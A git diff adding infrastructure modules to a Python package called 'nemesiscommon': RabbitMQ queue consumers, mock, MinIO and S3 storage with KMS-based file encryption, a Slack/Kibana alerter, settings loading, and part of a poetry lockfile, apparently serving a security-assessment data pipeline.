+ queueObj = await channel.declare_queue(rabbitQueueName, durable=True)
+ await queueObj.bind(
+ RABBITMQ_QUEUE_BINDINGS[queue].Exchange,
+ RABBITMQ_QUEUE_BINDINGS[queue].RoutingKey,
+ )
+
+ return cls(connection, channel, queueObj, inputQtype)
+
+ async def Read(self, worker: Callable[[T], Awaitable[None]]) -> None:
+ async def on_message(message: AbstractIncomingMessage) -> None:
+ try:
+ obj = self.__queueType()
+ obj.ParseFromString(message.body)
+ await worker(obj)
+
+ if not message.processed:
+ await message.ack()
+ except Exception as e:
+ await logger.aexception(
+ e,
+ message="Exception thrown while processing the queue",
+ queue=self.__queue.name,
+ )
+
+ if not message.processed:
+ # If an unhandled exception happens, err on the side of not losing data and resubmit to queue
+ # This could lead to a loop where the same troublesome message keeps getting resubmitted due to
+ # it never parsing correctly
+ await message.reject(requeue=True)
+
+ await logger.adebug("Waiting for messages", queue=self.__queue.name)
+ await self.__queue.consume(callback=on_message, no_ack=False)
+
+ async def __aenter__(self):
+ return self
+
+ async def __aexit__(
+ self,
+ exc_type: Optional[Type[BaseException]],
+ exc_val: Optional[BaseException],
+ exc_tb: Optional[TracebackType],
+ ) -> None:
+ await self.Close()
+
+ async def Close(self) -> None:
+ if not self.__channel or self.__channel.is_closed:
+ return
+ else:
+ await self.__channel.close()
+
+ if not self.__connection or self.__connection.is_closed:
+ return
+
+ await self.__connection.close()
+
+
+class SingleQueueRabbitMQWorker(TaskInterface):
+ inputQueue: MessageQueueConsumerInterface
+
+ def __init__(self, inputQ: MessageQueueConsumerInterface):
+ self.inputQueue = inputQ
+
+ async def run(self) -> None:
+ await self.inputQueue.Read(self.process_message)
+ await asyncio.Future()
+
+ @abstractmethod
+ async def process_message(self, message: T) -> None:
+ raise NotImplementedError
diff --git a/packages/python/nemesiscommon/nemesiscommon/mocks/__init__.py b/packages/python/nemesiscommon/nemesiscommon/mocks/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/packages/python/nemesiscommon/nemesiscommon/mocks/storage.py b/packages/python/nemesiscommon/nemesiscommon/mocks/storage.py
new file mode 100644
index 0000000..6f7b3f1
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/mocks/storage.py
@@ -0,0 +1,58 @@
+# Standard Libraries
+import ntpath
+import tempfile
+import uuid
+from tempfile import NamedTemporaryFile
+from typing import Dict, List, NamedTuple
+
+# 3rd Party Libraries
+from nemesiscommon.storage import StorageInterface
+
+
+class MemoryStorage(StorageInterface):
+ def __init__(self, assessment_id: str = 'testing'):
+ self._files: Dict[str, bytes] = {}
+ self.assessment_id = assessment_id
+
+ async def upload(self, file_path: str) -> uuid.UUID:
+ new_file_uuid = uuid.uuid4()
+
+ with open(file_path, 'rb') as f:
+ self._files[str(new_file_uuid)] = f.read()
+
+ return new_file_uuid
+
+ async def upload_bytes_by_key(self, file_uuid: uuid.UUID, bytes: bytes) -> None:
+ self._files[str(file_uuid)] = bytes
+
+ async def download(self, file_name: uuid.UUID) -> tempfile._TemporaryFileWrapper:
+ with NamedTemporaryFile(delete=False) as f:
+ f.write(self._files[str(file_name)])
+ f.seek(0)
+ f.flush()
+ return f
+
+ async def exists(self, file_name: str) -> bool:
+ return file_name in self._files
+
+ async def __aenter__(self):
+ return self
+
+ async def __aexit__(self, exc_type, exc_val, exc_tb):
+ pass
+
+class StorageNop(StorageInterface):
+ async def upload(self, file_path: str) -> uuid.UUID:
+ return uuid.UUID()
+
+ async def download(self, file_name: uuid.UUID) -> tempfile._TemporaryFileWrapper:
+ return NamedTemporaryFile()
+
+ async def exists(self, file_name: str) -> bool:
+ return True
+
+ async def __aenter__(self):
+ return self
+
+ async def __aexit__(self, exc_type, exc_val, exc_tb):
+ pass
\ No newline at end of file
diff --git a/packages/python/nemesiscommon/nemesiscommon/nemesis_tempfile.py b/packages/python/nemesiscommon/nemesiscommon/nemesis_tempfile.py
new file mode 100644
index 0000000..eb72f2b
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/nemesis_tempfile.py
@@ -0,0 +1,28 @@
+# Standard Libraries
+import os
+import uuid
+from types import TracebackType
+from typing import Optional, Type
+
+
+class TempFile:
+ path: str
+ name: uuid.UUID
+
+ def __init__(self, data_dir: str = "/tmp") -> None:
+ # generate a random file name in the supplied data directory
+ self.name = uuid.uuid4()
+ self.path = f"{data_dir}/{self.name}"
+
+ async def __aenter__(self):
+ return self
+
+ async def __aexit__(
+ self,
+ exc_type: Optional[Type[BaseException]],
+ exc_val: Optional[BaseException],
+ exc_tb: Optional[TracebackType],
+ ) -> None:
+ # remove the temp file if it exists
+ if os.path.exists(self.path):
+ os.remove(self.path)
diff --git a/packages/python/nemesiscommon/nemesiscommon/services/alerter.py b/packages/python/nemesiscommon/nemesiscommon/services/alerter.py
new file mode 100644
index 0000000..9798d11
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/services/alerter.py
@@ -0,0 +1,71 @@
+# Standard Libraries
+from abc import abstractmethod
+from enum import StrEnum
+from typing import Optional
+
+# 3rd Party Libraries
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from google.protobuf.json_format import MessageToDict
+from nemesiscommon.messaging_rabbitmq import NemesisRabbitMQProducer
+
+logger = structlog.get_logger(module=__name__)
+
+
+class AlertType(StrEnum):
+ SLACK = "slack"
+
+
+class AlerterInterface:
+ @abstractmethod
+ async def alert(self, text: str) -> None:
+ pass
+
+ @abstractmethod
+ async def file_data_alert(self, file_data: pb.FileDataEnriched, metadata: pb.Metadata, title: Optional[str] = "", text: Optional[str] = ""):
+ pass
+
+
+class NemesisAlerter(AlerterInterface):
+ alert_queue: NemesisRabbitMQProducer
+ kibana_url: str
+
+ def __init__(self, alert_queue: NemesisRabbitMQProducer, kibana_url: str):
+ self.alert_queue = alert_queue
+ self.kibana_url = kibana_url
+
+ async def alert(self, text: str) -> None:
+ alert_msg = pb.Alert()
+ alert_msg.type = AlertType.SLACK.value
+ alert_msg.text = text
+
+ await self.alert_queue.Send(alert_msg.SerializeToString())
+
+ async def file_data_alert(self, file_data: pb.FileDataEnriched, metadata: pb.Metadata, title: Optional[str] = "", text: Optional[str] = ""):
+ file_name = self.sanitize_file_path(file_data.name)
+ sha1_hash = file_data.hashes.sha1
+
+ header = f"*{title}*\n" if title else ""
+ text = f"\n{text}" if text else ""
+
+ full_kibana_url = f"{self.kibana_url}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{file_data.object_id}')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))"
+ kibana_footer = f"\n<{full_kibana_url}|*File in Kibana*>"
+
+ try:
+ metadata_dict = MessageToDict(metadata, preserving_proto_field_name=True)
+ timestamp = metadata_dict["timestamp"]
+ agent_type = metadata_dict["agent_type"]
+ agent_id = metadata_dict["agent_id"]
+ message = f"{header}*File:* {file_name}\n*SHA1:* {sha1_hash}\n*Downloaded:* {timestamp}\n*Agent:* {agent_id} (type: {agent_type}){text}{kibana_footer}"
+
+ await self.alert(text=message)
+
+ except Exception as e:
+ await logger.aexception(
+ e,
+ "Error constructing message from metadata in send_file_alert"
+ )
+
+ def sanitize_file_path(self, file_path: str, num_chars=4):
+ """Replaces all but the first `num_chars` characters of a file path string with *'s"""
+ return file_path[0:num_chars] + len(file_path[num_chars:]) * "*" if file_path else file_path
diff --git a/packages/python/nemesiscommon/nemesiscommon/settings.py b/packages/python/nemesiscommon/nemesiscommon/settings.py
new file mode 100644
index 0000000..4e8d0ec
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/settings.py
@@ -0,0 +1,98 @@
+# Standard Libraries
+import logging
+import os
+from enum import StrEnum
+from typing import Any
+
+# 3rd Party Libraries
+import yaml
+from pydantic import BaseSettings, Field, validator
+from pydantic.env_settings import SettingsSourceCallable
+from pydantic.networks import HttpUrl, Parts
+
+
+class HttpUrlWithSlash(HttpUrl):
+ @classmethod
+ def __get_validators__(cls):
+ yield super().validate
+ yield cls.validate
+
+ @classmethod
+ def validate_parts(cls, parts: "Parts", validate_port: bool = True) -> "Parts":
+ path = parts.get("path")
+ if not path or not path.endswith("/"):
+ raise ValueError("URI must end with a '/'")
+
+ return super().validate_parts(parts, validate_port=False)
+
+ def __repr__(self):
+ return f"HttpUrlWithSlash({super().__repr__()})"
+
+
+class EnvironmentSettings(StrEnum):
+ DEVELOPMENT = "development"
+ PRODUCTION = "production"
+ TEST = "test"
+
+ def is_development(self):
+ return self.value == EnvironmentSettings.DEVELOPMENT.value
+
+ def is_production(self):
+ return self.value == EnvironmentSettings.PRODUCTION.value
+
+ def is_test(self):
+ return self.value == EnvironmentSettings.TEST.value
+
+
+class NemesisServiceSettings(BaseSettings):
+ environment: EnvironmentSettings
+ log_level: str
+ prometheus_port: int = Field(None, ge=0, le=65535)
+ assessment_id: str
+
+ @validator("log_level")
+ def method_is_valid(cls, level: str) -> str:
+ levelName = logging.getLevelName(level)
+
+ if isinstance(levelName, int):
+ return level
+ else:
+ raise ValueError(f"must be valid log level from Python's 'logging' module, got '{level}'")
+
+ # Load settings from a YAML file and from environment variables
+ class Config:
+ @classmethod
+ def customise_sources(
+ cls,
+ init_settings: SettingsSourceCallable,
+ env_settings: SettingsSourceCallable,
+ file_secret_settings: SettingsSourceCallable,
+ ) -> tuple[SettingsSourceCallable, ...]:
+ def yml_config_setting(settings: BaseSettings) -> dict[str, Any]:
+ if not os.path.exists("config.yml"):
+ return {}
+ try:
+ with open("config.yml") as f:
+ conf = yaml.safe_load(f)
+ if not conf:
+ conf = {}
+
+ return conf
+ except:
+ # Do nothing since env vars might be specified
+ return {}
+
+ # Add load from yml file, change priority and remove file secret option
+ return env_settings, yml_config_setting
+
+
+class FileProcessingService(NemesisServiceSettings):
+ aws_bucket: str
+ aws_default_region: str
+ aws_access_key_id: str
+ aws_secret_access_key: str
+ aws_kms_key_alias: str
+ data_download_dir: str
+ storage_provider: str
+ minio_root_user: str
+ minio_root_password: str
diff --git a/packages/python/nemesiscommon/nemesiscommon/setupqueues.py b/packages/python/nemesiscommon/nemesiscommon/setupqueues.py
new file mode 100644
index 0000000..f7d9280
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/setupqueues.py
@@ -0,0 +1,67 @@
+# 3rd Party Libraries
+import structlog
+from aio_pika import ExchangeType, connect_robust
+from nemesiscommon.messaging_rabbitmq import RABBITMQ_QUEUE_BINDINGS
+
+logger = structlog.get_logger(None, module=__name__)
+# # Consumer queues
+# alert
+# authentication_data
+# dpapi_blob
+# dpapi_blob_processed
+# dpapi_masterkey
+# dpapi_masterkey_processed
+# file_data
+# file_data_enriched
+# file_data_plaintext
+# file_information
+# path_list
+# process_category
+# raw_data
+# registry_value
+
+# Standard Libraries
+# # Publisher queues
+# alert
+# authentication_data
+# dpapi_blob_processed
+# dpapi_masterkey_processed
+# file_data
+# file_data_enriched
+# file_data_plaintext
+#
+# # All queues
+# alert
+# authentication_data
+# dpapi_blob
+# dpapi_blob_processed
+# dpapi_masterkey
+# dpapi_masterkey_processed
+# file_data
+# file_data_enriched
+# file_data_plaintext
+# file_information
+# path_list
+# process_category
+# raw_data
+# registry_value
+
+
+async def initRabbitMQ(connectionUri: str) -> None:
+ await logger.adebug("Setting up queues")
+ connection = await connect_robust(connectionUri)
+
+ async with connection:
+ channel = await connection.channel()
+
+ for k in RABBITMQ_QUEUE_BINDINGS.keys():
+ b = RABBITMQ_QUEUE_BINDINGS[k]
+
+ await channel.declare_exchange(
+ b.Exchange, ExchangeType.DIRECT, durable=True
+ )
+
+ # newQueue = await channel.declare_queue(b.Queue, durable=True)
+ # await newQueue.bind(b.Exchange, b.RoutingKey)
+
+ await logger.adebug("Done setting up queues")
diff --git a/packages/python/nemesiscommon/nemesiscommon/socketwaiter.py b/packages/python/nemesiscommon/nemesiscommon/socketwaiter.py
new file mode 100644
index 0000000..e67f368
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/socketwaiter.py
@@ -0,0 +1,48 @@
+# Standard Libraries
+# Standard Libraries
+import socket
+from argparse import ArgumentError
+from contextlib import closing
+
+# 3rd Party Libraries
+import structlog
+import tenacity
+
+logger = structlog.get_logger(module=__name__)
+
+
+class SocketWaiter:
+ NUM_ATTEMPTS: int = 60
+
+ def __init__(self, host: str, port: int) -> None:
+ if port < 1 or port > 65535:
+ raise ArgumentError("Port is not in the range of 1-65535")
+
+ self.port = port
+ self.host = host
+
+ def __retryLog(self, retry_state: tenacity.RetryCallState) -> None:
+ logger.info(
+ "Retrying connection",
+ host=self.host,
+ port=self.port,
+ attempt=retry_state.attempt_number,
+ max_attempts=self.NUM_ATTEMPTS,
+ elapsed_time=retry_state.seconds_since_start,
+ )
+
+ def __check_socket(self):
+ with closing(socket.create_connection((self.host, self.port), timeout=1)):
+ pass
+
+ def wait(self):
+
+ r = tenacity.Retrying(
+ before_sleep=self.__retryLog,
+ # wait=tenacity.wait.wait_exponential(multiplier=1, min=1),
+ wait=tenacity.wait.wait_fixed(5),
+ stop=tenacity.stop_after_attempt(self.NUM_ATTEMPTS),
+ reraise=True,
+ )
+
+ r(self.__check_socket)
diff --git a/packages/python/nemesiscommon/nemesiscommon/storage.py b/packages/python/nemesiscommon/nemesiscommon/storage.py
new file mode 100644
index 0000000..493b3b6
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/storage.py
@@ -0,0 +1,33 @@
+# Standard Libraries
+import tempfile
+import uuid
+from abc import ABC, abstractmethod
+from types import TracebackType
+from typing import Optional, Type
+
+
+class StorageInterface(ABC):
+ @abstractmethod
+ async def download(self, file_name: uuid.UUID, delete: bool = True) -> tempfile._TemporaryFileWrapper:
+ raise NotImplementedError
+
+ @abstractmethod
+ async def upload(self, file_path: str) -> uuid.UUID:
+ raise NotImplementedError
+
+ @abstractmethod
+ async def exists(self, file_name: str) -> bool:
+ raise NotImplementedError
+
+ @abstractmethod
+ async def __aenter__(self):
+ raise NotImplementedError
+
+ @abstractmethod
+ async def __aexit__(
+ self,
+ exc_type: Optional[Type[BaseException]],
+ exc_val: Optional[BaseException],
+ exc_tb: Optional[TracebackType],
+ ) -> None:
+ raise NotImplementedError
diff --git a/packages/python/nemesiscommon/nemesiscommon/storage_minio.py b/packages/python/nemesiscommon/nemesiscommon/storage_minio.py
new file mode 100644
index 0000000..17c2aa0
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/storage_minio.py
@@ -0,0 +1,67 @@
+# Standard Libraries
+import tempfile
+import uuid
+from types import TracebackType
+from typing import Optional, Type
+
+# 3rd Party Libraries
+import structlog
+from miniopy_async import Minio
+from nemesiscommon.storage import StorageInterface
+
+logger = structlog.get_logger(module=__name__)
+
+
+class StorageMinio(StorageInterface):
+ data_download_dir: str
+ assessment_id: str
+ minio_client: Minio
+
+ def __init__(
+ self,
+ assessment_id: str,
+ data_download_dir: str,
+ access_key: str,
+ secret_key: str,
+ ) -> None:
+ self.minio_client = Minio("minio:9000", access_key=access_key, secret_key=secret_key, secure=False)
+ self.data_download_dir = data_download_dir
+ # the bucket name must be lowercase
+ self.assessment_id = assessment_id.lower()
+
+ async def download(self, file_uuid: uuid.UUID, delete: bool = True) -> tempfile._TemporaryFileWrapper:
+ temp_file = tempfile.NamedTemporaryFile(dir=self.data_download_dir, delete=delete)
+
+ await logger.adebug("Downloading from storage", file_uuid=file_uuid, dest_path=temp_file.name)
+
+ try:
+ await self.minio_client.fget_object(self.assessment_id, f"{file_uuid}", temp_file.name)
+ except BaseException as e:
+ await logger.aexception(e, message="Failed to download file")
+ raise
+ finally:
+ await logger.ainfo("Downloaded file", file_uuid=file_uuid)
+
+ return temp_file
+
+ async def upload(self, file_path: str) -> uuid.UUID:
+ if not await self.minio_client.bucket_exists(self.assessment_id):
+ await self.minio_client.make_bucket(self.assessment_id)
+ await logger.adebug("Uploading to storage", file_path=file_path)
+ file_uuid = uuid.uuid4()
+ await self.minio_client.fput_object(self.assessment_id, f"{file_uuid}", file_path)
+ return file_uuid
+
+ async def exists(self, file_name: str) -> bool:
+ raise NotImplementedError
+
+ async def __aenter__(self):
+ return self
+
+ async def __aexit__(
+ self,
+ exc_type: Optional[Type[BaseException]],
+ exc_val: Optional[BaseException],
+ exc_tb: Optional[TracebackType],
+ ) -> None:
+ pass
diff --git a/packages/python/nemesiscommon/nemesiscommon/storage_s3.py b/packages/python/nemesiscommon/nemesiscommon/storage_s3.py
new file mode 100644
index 0000000..389a1b9
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/storage_s3.py
@@ -0,0 +1,186 @@
+# Standard Libraries
+import tempfile
+import uuid
+from os import urandom
+from types import TracebackType
+from typing import Optional, Type
+
+# 3rd Party Libraries
+import aioboto3
+import structlog
+from Cryptodome.Cipher import AES
+from nemesiscommon.nemesis_tempfile import TempFile
+from nemesiscommon.storage import StorageInterface
+
+
+logger = structlog.get_logger(module=__name__)
+
+
+class StorageS3(StorageInterface):
+ num_bytes_for_len: int
+ block_size: int
+ cmk_id: str
+ data_download_dir: str
+ aws_bucket: str
+ assessment_id: str
+
+ def __init__(
+ self,
+ assessment_id: str,
+ data_download_dir: str,
+ aws_access_key_id: str,
+ aws_secret_access_key: str,
+ aws_default_region: str,
+ aws_bucket_name: str,
+ aws_kms_key_alias: str,
+ ) -> None:
+ self.data_download_dir = data_download_dir
+ self.aws_bucket = aws_bucket_name
+ self.assessment_id = assessment_id
+
+ self.num_bytes_for_len = 4 # number of bytes used to store the file encryption key size
+ self.block_size = AES.block_size # 16 bytes
+
+ self.cmk_id = f"alias/{aws_kms_key_alias}"
+ self._aws_client_args = {
+ "aws_access_key_id": aws_access_key_id,
+ "aws_secret_access_key": aws_secret_access_key,
+ "region_name": aws_default_region,
+ }
+
+ async def download(self, file_uuid: uuid.UUID, delete: bool = True) -> tempfile._TemporaryFileWrapper:
+ key = await self.get_s3_file_path(file_uuid)
+
+ async with aioboto3.Session().client(service_name="s3", **self._aws_client_args) as s3_client:
+ with tempfile.NamedTemporaryFile(dir=self.data_download_dir) as temp_file_enc:
+ await logger.adebug(
+ "Downloading from storage",
+ file_uuid=file_uuid,
+ dest_path=temp_file_enc.name,
+ )
+ temp_file_dec = tempfile.NamedTemporaryFile(dir=self.data_download_dir, delete=delete)
+
+ try:
+ await s3_client.download_file(self.aws_bucket, key, temp_file_enc.name)
+ except BaseException as e:
+ await logger.aexception(e, message="Failed to download file")
+ raise
+ finally:
+ await logger.ainfo("Downloaded file", file_uuid=file_uuid)
+ # decrypt the file by using the associated KMS key
+ await self.kms_decrypt_file(temp_file_enc.name, temp_file_dec.name)
+ return temp_file_dec
+
+ async def upload(self, file_path: str) -> uuid.UUID:
+ await logger.adebug("Uploading to storage", file_path=file_path)
+
+ async with aioboto3.Session().client(service_name="s3", **self._aws_client_args) as s3_client:
+ async with TempFile(self.data_download_dir) as encrypted_file:
+ new_file_uuid = uuid.uuid4()
+ s3_key = await self.get_s3_file_path(new_file_uuid)
+
+ # encrypt the file to the temporarily file path
+ await self.kms_encrypt_file(file_path, encrypted_file.path)
+
+ # upload the encrypted file to S3
+ with open(encrypted_file.path, "rb") as spfp:
+ await s3_client.upload_fileobj(spfp, self.aws_bucket, s3_key)
+
+ return new_file_uuid
+
+ async def exists(self, file_name: str) -> bool:
+ raise NotImplementedError
+
+ async def get_s3_file_path(self, file_uuid: uuid.UUID) -> str:
+ return f"{self.assessment_id}/{file_uuid}.enc"
+
+ async def create_data_key(self, key_spec="AES_256"):
+ """Used to create a KMS data key."""
+
+ async with aioboto3.Session().client(service_name="kms", **self._aws_client_args) as kms_client:
+ kms_resp = await kms_client.generate_data_key(
+ KeyId=self.cmk_id,
+ KeySpec=key_spec,
+ )
+ return kms_resp["CiphertextBlob"], kms_resp["Plaintext"]
+
+ async def kms_encrypt_file(self, input_file, output_file):
+ """Used to encrypt a file via the appropriate KMS master key."""
+
+ await logger.adebug("Encrypting", input_file=input_file, output_file=output_file)
+
+ IV = urandom(self.block_size)
+
+ # generate a new data key for this file, protected by the KMS key
+ data_key_encrypted, data_key_plaintext = await self.create_data_key()
+
+ cipher = AES.new(data_key_plaintext, AES.MODE_CBC, IV)
+ finished = False
+
+ with open(input_file, "rb") as in_file, open(output_file, "wb") as out_file:
+ # write out the size of the data key
+ out_file.write(len(data_key_encrypted).to_bytes(self.num_bytes_for_len, byteorder="big"))
+
+ # write out the data key
+ out_file.write(data_key_encrypted)
+
+ # write out the IV (always 16 bytes)
+ out_file.write(IV)
+
+ # now encrypt and write out the data
+ while not finished:
+ chunk = in_file.read(1024 * self.block_size)
+ if len(chunk) == 0 or len(chunk) % self.block_size != 0:
+ # final block/chunk is padded before encryption
+ padding_length = (self.block_size - len(chunk) % self.block_size) or self.block_size
+ chunk += str.encode(padding_length * chr(padding_length))
+ finished = True
+ out_file.write(cipher.encrypt(chunk))
+
+ async def kms_decrypt_file(self, input_file, output_file):
+ """Used to decrypt a file via the appropriate KMS master key."""
+
+ await logger.adebug("Decrypting file with KMS key", input_file=input_file, output_file=output_file)
+
+ async with aioboto3.Session().client(service_name="kms", **self._aws_client_args) as kms_client:
+ with open(input_file, "rb") as in_file, open(output_file, "wb") as out_file:
+ # read the size of the data key
+ data_key_encrypted_len = int.from_bytes(in_file.read(self.num_bytes_for_len), byteorder="big")
+
+ # skip the data key length bytes
+ in_file.seek(self.num_bytes_for_len)
+
+ # ask kms to decrypt the data key for this file
+ data_key_encrypted = in_file.read(data_key_encrypted_len)
+ response = await kms_client.decrypt(CiphertextBlob=data_key_encrypted)
+ data_key_plaintext = response["Plaintext"]
+
+ # grab the IV
+ IV = in_file.read(self.block_size)
+
+ # skip to the actual encrypted data
+ in_file.seek(self.num_bytes_for_len + data_key_encrypted_len + self.block_size)
+
+ # decrypt everything
+ cipher = AES.new(data_key_plaintext, AES.MODE_CBC, IV)
+ next_chunk = b""
+ finished = False
+
+ while not finished:
+ chunk, next_chunk = next_chunk, cipher.decrypt(in_file.read(1024 * self.block_size))
+ if len(next_chunk) == 0:
+ padding_length = chunk[-1]
+ chunk = chunk[:-padding_length]
+ finished = True
+ out_file.write(chunk)
+
+ async def __aenter__(self):
+ return self
+
+ async def __aexit__(
+ self,
+ exc_type: Optional[Type[BaseException]],
+ exc_val: Optional[BaseException],
+ exc_tb: Optional[TracebackType],
+ ) -> None:
+ pass
diff --git a/packages/python/nemesiscommon/nemesiscommon/tasking.py b/packages/python/nemesiscommon/nemesiscommon/tasking.py
new file mode 100644
index 0000000..8df1830
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/tasking.py
@@ -0,0 +1,51 @@
+# Standard Libraries
+import asyncio
+from abc import ABC, abstractmethod
+from typing import List
+
+# 3rd Party Libraries
+import structlog
+from prometheus_async.aio.web import MetricsHTTPServer, start_http_server
+
+logger = structlog.get_logger(__name__)
+
+
+class TaskInterface(ABC):
+ @abstractmethod
+ async def run(self) -> None:
+ pass
+
+ async def shutdown(self) -> None:
+ pass
+
+
+class TaskDispatcher:
+ metrics_server: MetricsHTTPServer
+ tasks: List[TaskInterface]
+ prometheus_port: int
+
+ def __init__(self, tasks: List[TaskInterface], prometheus_port: int) -> None:
+ self.tasks = tasks
+ self.prometheus_port = prometheus_port
+
+ async def start(self) -> None:
+ await logger.ainfo("Application started")
+
+ self.metrics_server = await start_http_server(port=self.prometheus_port)
+
+ await logger.ainfo("Starting services")
+
+ # TODO:
+ # - Switch this to use asyncio.gather due to TaskGroup not behaving nicely when other libraries cancel tasks (*cough* aiohttp *cough).
+ # - Setup an asyncio exception handler to gracefully shutdown/cancel all other tasks
+ async with asyncio.TaskGroup() as tg:
+ for s in self.tasks:
+ service_name = s.__class__.__name__
+ logger.info("Starting service", service=s.__class__.__name__)
+ tg.create_task(s.run(), name=service_name)
+
+ await logger.ainfo("Application shutting down")
+
+ async def stop(self):
+ await logger.ainfo("Stopping application")
+ pass
diff --git a/packages/python/nemesiscommon/poetry.lock b/packages/python/nemesiscommon/poetry.lock
new file mode 100644
index 0000000..d47f000
--- /dev/null
+++ b/packages/python/nemesiscommon/poetry.lock
@@ -0,0 +1,1704 @@
+# This file is automatically @generated by Poetry 1.5.1 and should not be changed by hand.
+
+[[package]]
+name = "aio-pika"
+version = "8.3.0"
+description = "Wrapper for the aiormq for asyncio and humans."
+optional = false
+python-versions = ">3.6, <4"
+files = [
+ {file = "aio-pika-8.3.0.tar.gz", hash = "sha256:c0e2601eda6a1097fe1d33c5f9965a86a27b328ac48914d20c23f675b3ab1797"},
+ {file = "aio_pika-8.3.0-py3-none-any.whl", hash = "sha256:36c4742449f1cbcb83165b3733b090cf88f3d2f7f027225eedb8c7f300b05dde"},
+]
+
+[package.dependencies]
+aiormq = ">=6.6.3,<6.7.0"
+yarl = "*"
+
+[package.extras]
+develop = ["aiomisc (>=16.0,<17.0)", "coverage (!=4.3)", "coveralls", "nox", "pylava", "pytest", "pytest-cov", "shortuuid", "sphinx", "sphinx-autobuild", "timeout-decorator", "tox (>=2.4)"]
+
+[[package]]
+name = "aioboto3"
+version = "10.4.0"
+description = "Async boto3 wrapper"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "aioboto3-10.4.0-py3-none-any.whl", hash = "sha256:6d0f0bf6af0168c27828e108f1a24182669a6ea6939437c27638caf06a693403"},
+ {file = "aioboto3-10.4.0.tar.gz", hash = "sha256:e52b5f96b67031ddcbabcc55015bad3f851d3d4e6d5bfc7a1d1518d90e0c1fd8"},
+]
+
+[package.dependencies]
+aiobotocore = {version = "2.4.2", extras = ["boto3"]}
+
+[package.extras]
+chalice = ["chalice (>=1.24.0)"]
+s3cse = ["cryptography (>=2.3.1)"]
+
+[[package]]
+name = "aiobotocore"
+version = "2.4.2"
+description = "Async client for aws services using botocore and aiohttp"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "aiobotocore-2.4.2-py3-none-any.whl", hash = "sha256:4acd1ebe2e44be4b100aa553910bda899f6dc090b3da2bc1cf3d5de2146ed208"},
+ {file = "aiobotocore-2.4.2.tar.gz", hash = "sha256:0603b74a582dffa7511ce7548d07dc9b10ec87bc5fb657eb0b34f9bd490958bf"},
+]
+
+[package.dependencies]
+aiohttp = ">=3.3.1"
+aioitertools = ">=0.5.1"
+boto3 = {version = ">=1.24.59,<1.24.60", optional = true, markers = "extra == \"boto3\""}
+botocore = ">=1.27.59,<1.27.60"
+wrapt = ">=1.10.10"
+
+[package.extras]
+awscli = ["awscli (>=1.25.60,<1.25.61)"]
+boto3 = ["boto3 (>=1.24.59,<1.24.60)"]
+
+[[package]]
+name = "aiofile"
+version = "3.8.7"
+description = "Asynchronous file operations."
+optional = false
+python-versions = ">=3.7, <4"
+files = [
+ {file = "aiofile-3.8.7-py3-none-any.whl", hash = "sha256:4c38991b1227e221296fa05bbc95bffba9c203fef1ce09ad3076cfe7b61842c7"},
+ {file = "aiofile-3.8.7.tar.gz", hash = "sha256:a8f9dec17282b3583337c4ef2d1a67f33072ab80dd03608041ed9e71b88dc521"},
+]
+
+[package.dependencies]
+caio = ">=0.9.0,<0.10.0"
+
+[package.extras]
+develop = ["aiomisc-pytest", "coveralls", "pytest", "pytest-cov", "pytest-rst"]
+
+[[package]]
+name = "aiohttp"
+version = "3.8.4"
+description = "Async http client/server framework (asyncio)"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5ce45967538fb747370308d3145aa68a074bdecb4f3a300869590f725ced69c1"},
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b744c33b6f14ca26b7544e8d8aadff6b765a80ad6164fb1a430bbadd593dfb1a"},
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1a45865451439eb320784918617ba54b7a377e3501fb70402ab84d38c2cd891b"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a86d42d7cba1cec432d47ab13b6637bee393a10f664c425ea7b305d1301ca1a3"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee3c36df21b5714d49fc4580247947aa64bcbe2939d1b77b4c8dcb8f6c9faecc"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:176a64b24c0935869d5bbc4c96e82f89f643bcdf08ec947701b9dbb3c956b7dd"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c844fd628851c0bc309f3c801b3a3d58ce430b2ce5b359cd918a5a76d0b20cb5"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5393fb786a9e23e4799fec788e7e735de18052f83682ce2dfcabaf1c00c2c08e"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e4b09863aae0dc965c3ef36500d891a3ff495a2ea9ae9171e4519963c12ceefd"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:adfbc22e87365a6e564c804c58fc44ff7727deea782d175c33602737b7feadb6"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:147ae376f14b55f4f3c2b118b95be50a369b89b38a971e80a17c3fd623f280c9"},
